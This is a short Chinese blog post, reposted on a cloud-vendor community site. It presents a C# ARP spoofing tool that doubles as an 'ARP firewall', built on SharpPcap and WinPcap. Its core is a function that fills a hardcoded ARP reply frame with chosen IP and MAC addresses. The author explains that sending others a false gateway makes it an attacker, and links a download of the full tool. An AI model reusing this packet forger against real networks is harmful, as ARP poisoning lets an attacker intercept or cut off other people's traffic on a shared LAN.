前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >c# 写的ARP攻击器和ARP防火墙

c# 写的ARP攻击器和ARP防火墙

作者头像
KurtNiu
发布2018-09-10 17:39:09
1.6K0
发布2018-09-10 17:39:09
举报
文章被收录于专栏:Kurt Niu 的博客Kurt Niu 的博客

     首先你要先看看ARP是什么东西,我就不给你讲了。知道原理就行。

我这个代码是调用开源项目SharpPcap开源的网络捕获项目http://sourceforge.net/projects/sharppcap/

  这个项目和所有sniffer软件一样,是用wincap库的。需要安装wincap。http://www.winpcap.org/

核心代码贴出了,就是这么简单,手动构造ARP数据包,然后通过sharppcap里的库发送出去。。。

不停的发给自己正确的网关,那就是ARP防火墙。

不停的发给别人错误的网关,那就是ARP攻击器。

代码语言:javascript
复制
        /// <summary>
        /// 获取数据包
        /// </summary>
        /// <returns></returns>
        public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC)
        {
            //ARP数据包
            byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5};

            //循环替换IP
            for (int i = 0; i < 4; i++)
            {
                packet[i + 28] = yIP[i];

               
                packet[i + 38] = mIP[i];
            }

            //循环替换MAC
            for (int i = 0; i < 6; i++)
            {
                packet[i+ 22] = yMAC[i];
                packet[i] = mMAC[i];
                packet[i+6] = yMAC[i]; 
                packet[i + 32] = mMAC[i];
            }

            return packet;
        }

看看这个链接能下不  http://files.cnblogs.com/zifeiniu/ARP%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E7%81%AB%E5%A2%99.rar

                             子非牛  QQ 378716196

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2011-06-16 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档